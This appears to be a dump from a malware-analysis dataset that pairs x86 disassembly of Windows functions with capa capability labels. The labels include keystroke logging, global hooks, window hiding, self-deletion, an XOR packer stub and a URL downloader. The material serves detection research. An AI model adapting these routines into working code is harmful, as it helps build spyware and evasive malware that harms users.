joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44469c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x482d5c]
cmp byte [eax + 0xc], 0
je 0x444809
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x444802
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x483b94], 0
jne 0x4446f0
push 0x444810
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x444818
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x483b94], eax
cmp dword [0x481be8], 0
jne 0x4447eb
push 0x444828
call sub.kernel32.dll_LoadLibraryA
mov dword [0x481be8], eax
cmp dword [0x481be8], 0
je 0x4447eb
push 0x444834
mov eax, dword [0x481be8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x483b98], eax
push 0x444844
mov eax, dword [0x481be8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x483b9c], eax
push 0x444858
mov eax, dword [0x481be8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x483ba0], eax
push 0x444870
mov eax, dword [0x481be8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x483ba4], eax
push 0x444888
mov eax, dword [0x481be8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x483ba8], eax
push 0x44489c
mov eax, dword [0x481be8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x483bac], eax
push 0x4448b4
mov eax, dword [0x481be8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x483bb0], eax
push 0x4448cc
mov eax, dword [0x481be8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x483bb4], eax
push 0x4448e8
mov eax, dword [0x481be8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x483bb8], eax
push 0x4448f4
mov eax, dword [0x481be8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x483bbc], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x444809
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x448694
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.004040b0
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x4486e3
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404320
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x44fec8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44ff18]
test si, 4
je 0x44fedc
or bl, 1
test si, 8
je 0x44fee6
or bl, 4
test si, 1
je 0x44fef0
or bl, 8
test si, 2
je 0x44fefa
or bl, 0x10
test si, 0x10
je 0x44ff04
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44ff13
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44ff1c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44ff54]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44ff35
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44ff44
or bl, 4
test esi, 0x20000000
je 0x44ff4f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4565fc
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x45660e
add esp, 0xfffffff0
call fcn.00403684
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041d3dc
mov eax, dword [0x4829d4]
mov dword [eax + 4], ebx
mov dword [eax], 0x4569a0
mov eax, dword [0x4829e0]
mov dword [eax + 4], ebx
mov dword [eax], 0x4569ac
mov eax, ebx
call fcn.004569b8
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x41550c]
call fcn.00403330
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x41550c]
call fcn.00403330
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x41550c]
call fcn.00403330
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x41550c]
call fcn.00403330
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x41550c]
call fcn.00403330
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x452dd4
push eax
push 0
push 0
mov eax, dword [0x482b38]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41ee58]
call fcn.0042066c
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41ee58]
call fcn.0042066c
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41ee58]
call fcn.0042066c
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00456dd8
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x456cb4
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x456cb4
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x456cb4
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45674b
call fcn.004036dc
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x456a98
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x456c43
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x456c24
mov dl, 1
mov eax, dword [0x415928]
call fcn.00403330
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004040b0
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x456c13
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004449fc
test al, al
je 0x456c06
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x456c54
lea eax, [ebp - 0x254]
call fcn.004091cc
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x456c06
xor eax, eax
push ebp
push 0x456bff
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x456c8c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x456be8
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404320
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x456be8
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404320
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456c06
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x456b09
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.004195cc
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456c4a
lea eax, [ebp - 0x260]
call fcn.004040b0
ret

Function at 0x457578
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x483be0]
cmp byte [eax + 0xa5], 0
jne 0x4575e9
cmp dword [0x483bf8], 0
jne 0x4575aa
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x457534
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x483bf8], eax
cmp dword [0x483bf4], 0
jne 0x4575c5
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x483bf4], eax
cmp dword [0x483bfc], 0
jne 0x4575e9
push esp
push 0
push 0
push 0x4574d8
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x483bfc], eax
pop edx
ret
Function at 0x4576e0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4576f7
add esp, 0xfffffff0
call fcn.00403684
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041d3dc
mov eax, dword [0x482b24]
cmp word [eax + 2], 0
jne 0x45771f
mov eax, dword [0x482b24]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00458db8
mov eax, dword [0x482be0]
cmp word [eax + 2], 0
jne 0x457739
mov eax, dword [0x482be0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00458fb0
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41550c]
call fcn.00403330
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41550c]
call fcn.00403330
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41f9d8]
call fcn.00427604
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x4578c0
mov eax, dword [0x482a3c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.004279d4
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x459550
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x482a3c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c960
test eax, eax
je 0x45782e
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408bc0
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c988
test eax, eax
je 0x457842
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404320
mov eax, dword [0x4828f4]
cmp byte [eax], 0
jne 0x457876
mov eax, ebx
call fcn.004579e8
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045972c
mov eax, ebx
call fcn.0045a0f0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4578b6
call fcn.004036dc
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x457c68
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x483be0]
cmp dword [eax + 0x30], 0
je 0x457d12
cmp dword [ebx + 0x94], 0
jne 0x457d0c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x457bf8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x457d0c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x457cd2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x457d0c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00417874
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x457ce1
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x458874
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x4588a9
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004041a0
jmp 0x4588b6
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404104
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x459908
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x459949
mov eax, esi
call fcn.00440028
test al, al
je 0x459949
mov eax, dword [ebx + 0x84]
call fcn.0043fd24
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x459949
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043fd24
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x45d010
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x45d03e
mov eax, ebx
call fcn.0045dac4
cmp dword [ebx + 0x40], 0
je 0x45d037
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x45d0af
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x45d0a1
cmp dword [ebx + 8], 0
je 0x45d060
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x45d072
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x45d0a1
cmp dword [ebx + 8], 0
je 0x45d053
cmp eax, 3
je 0x45d085
dec eax
jne 0x45d053
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x45d053
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x45d053
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x45d0cd
cmp dword [ebx + 0x14], 0xcc
je 0x45d0cd
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0045d0d8
pop ebx
ret
Function at 0x46da44
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
lea eax, [ebp - 0x10]
mov edx, dword [0x414a7c]
call fcn.00404a48
xor eax, eax
push ebp
push 0x46db88
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x482724], 0
jne 0x46da97
mov ecx, dword [0x482904]
mov dl, 1
mov eax, dword [0x407294]
call fcn.0040bc04
call fcn.00403aec
lea eax, [ebp - 0x20]
xor ecx, ecx
mov edx, 0x10
call fcn.00402d74
mov eax, ebx
call fcn.00404918
mov dword [ebp - 0x1c], eax
push esi
push edi
mov esi, 0x46db98
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
lea eax, [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
call fcn.004059cc
xor eax, eax
mov dword [ebp - 8], eax
mov eax, ebx
call fcn.00404928
test eax, eax
jle 0x46db2f
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x46db28
lea eax, [ebp - 0x44]
mov edx, ebx
call fcn.00404338
mov eax, dword [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
lea edx, [ebp - 0x40]
mov ecx, 0x10
call fcn.00404320
mov eax, dword [ebp - 0x48]
pop edx
call fcn.00408128
test eax, eax
jne 0x46db28
mov ebx, 0x15
jmp 0x46db34
mov ebx, 0x10
jmp 0x46db34
mov ebx, 0x15
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x20]
push eax
push ebx
push 0
push esi
call dword [0x482724]
call fcn.0046d99c
mov eax, dword [ebp - 8]
call fcn.0046d99c
mov eax, edi
mov edx, dword [ebp - 0xc]
call fcn.004059e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46db8f
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.004040d4
lea eax, [ebp - 0x10]
mov edx, dword [0x414a7c]
call fcn.00404b18
ret
Function at 0x402ec8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40600c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402f60
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402f40
xor eax, eax
push ebp
push 0x402f39
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402f7c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402f40
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x40600c]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40600c], ax
mov esp, ebp
pop ebp
ret

Function at 0x403668
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x407034], 0
je 0x4036c9
cmp word [0x407208], 0xd7b2
jne 0x403691
cmp dword [0x407210], 0
jbe 0x403691
mov eax, 0x407204
call dword [fcn.00407220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x406744
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4036f0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x406018], 0
jne 0x4036e5
push 0
push 0x40673c
push 0x406744
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403eac
Capabilities:
Simulate ctrl alt del

Disassembly:
add esp, 0xfffffff8
lea eax, [esp + 4]
push eax
lea ecx, [esp + 4]
mov edx, dword [0x406794]
mov eax, dword [0x406790]
call fcn.00403d98
test al, al
jne 0x403ed1
xor eax, eax
mov dword [esp], eax
push 0x2e0003
push 0
push 0x312
push 0xffff
call sub.user32.dll_PostMessageA
cmp dword [esp], 0
je 0x403ef9
mov edx, dword [esp + 4]
mov eax, dword [esp]
call fcn.00403e5c
pop ecx
pop edx
ret

Function at 0x403efc
Capabilities:
Accept command line arguments
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
xor eax, eax
push ebp
push 0x403f62
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.kernel32.dll_GetCommandLineA_1
mov edx, eax
lea eax, [ebp - 8]
call fcn.004038dc
mov ecx, dword [ebp - 8]
lea eax, [ebp - 4]
mov edx, 0x403f78
call fcn.00403958
mov eax, dword [ebp - 4]
call fcn.004039d4
push eax
call sub.kernel32.dll_WinExec
push 0
call sub.kernel32.dll_ExitProcess_1
Function at 0x403f84
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
push 0x404030
push 0x404038
call sub.user32.dll_FindWindowA
mov ebx, eax
test ebx, ebx
je 0x40402d
push 0
push 0x404040
push 0
push ebx
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x40402d
push 0
push 0x40404c
push 0
push eax
call sub.user32.dll_FindWindowExA
mov esi, eax
test esi, esi
je 0x40402d
push 0
push 0
push 0xc
push esi
call sub.user32.dll_SendMessageA
push 0x404054
push 0
push 0xc2
push esi
call sub.user32.dll_SendMessageA
push 1
push 0xd
push pe_nt_image_headers32
push ebx
call sub.user32.dll_PostMessageA
push 1
push 0xd
push 0x101
push ebx
call sub.user32.dll_PostMessageA
push 1
push 0xd
push pe_nt_image_headers32
push ebx
call sub.user32.dll_PostMessageA
push 1
push 0xd
push 0x101
push ebx
call sub.user32.dll_PostMessageA
push 0
push 0
push 0x10
push ebx
call sub.user32.dll_SendMessageA
pop esi
pop ebx
ret

Function at 0x4050ac
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, 0x404180
call fcn.00403c5c
mov al, 1
call fcn.00403eac
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0xc8
call sub.kernel32.dll_Sleep_1
call fcn.00403f84
push 0xc8
call sub.kernel32.dll_Sleep_1
call fcn.00404074
push 0xc8
call sub.kernel32.dll_Sleep_1
call fcn.00404074
push 0xc8
call sub.kernel32.dll_Sleep_1
call fcn.00404074
push 0xc8
call sub.kernel32.dll_Sleep_1
call fcn.00404074
push 0xc8
call sub.kernel32.dll_Sleep_1
call fcn.00404074
push 0xc8
call sub.kernel32.dll_Sleep_1
call fcn.00404074
push 0xc8
call sub.kernel32.dll_Sleep_1
call fcn.00404074
push 0xc8
call sub.kernel32.dll_Sleep_1
call fcn.00404074
push 0xc8
call sub.kernel32.dll_Sleep_1
call fcn.00404074
push 0x405180
call sub.kernel32.dll_DeleteFileA
push 0x64
call sub.kernel32.dll_Sleep_1
call fcn.00403efc

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x431072
nop
nop
nop
mov ebx, 0x40915c
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x3c841db3
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x431060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4310d2
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x18751e3
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4310c0
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x405310
Capabilities:
Query or enumerate registry key

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x108
lea eax, [esp]
push edi
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [0x40e014]
mov edi, eax
test edi, edi
jne 0x4053d3
mov eax, dword [esp + 4]
push ebx
push ebp
mov ebp, dword [esp + 0x120]
push esi
push ebp
push 4
push eax
call dword [0x40e018]
mov eax, dword [esp + 0x10]
xor esi, esi
mov ebx, dword [0x40e01c]
push esi
push esi
push esi
lea ecx, [esp + 0x20]
push esi
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push eax
mov dword [esp + 0x34], 0x100
call ebx
test eax, eax
jne 0x4053bb
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ebp
push ecx
push edx
call fcn.00405310
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x4053bb
mov edx, dword [esp + 0x10]
push eax
push eax
push eax
push eax
lea eax, [esp + 0x24]
lea ecx, [esp + 0x28]
inc esi
push eax
push ecx
push esi
push edx
mov dword [esp + 0x34], 0x100
call ebx
test eax, eax
je 0x40537f
mov eax, dword [esp + 0x10]
push eax
call dword [0x40e00c]
pop esi
pop ebp
mov eax, edi
pop ebx
pop edi
add esp, 0x108
ret
mov eax, edi
pop edi
add esp, 0x108
ret

Function at 0x400220
Capabilities:
Download url
Receive data
Terminate process

Disassembly:
sub esp, 0xc
push 0
lea eax, [esp + 0xc]
push 0
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0xc]
push ecx
push edx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call 0x4002b0
mov eax, dword [esp + 0x14]
add esp, 0x14
cmp eax, 3
jge 0x400275
push 0x40004e
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 4
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [esp + 4]
push 0
push 0
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
push ecx
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x4002a7
push eax
push 0x400067
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
push 2
call dword [sym.imp.MSVCRT.dll_exit]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
jmp dword [sym.imp.MSVCRT.dll___getmainargs]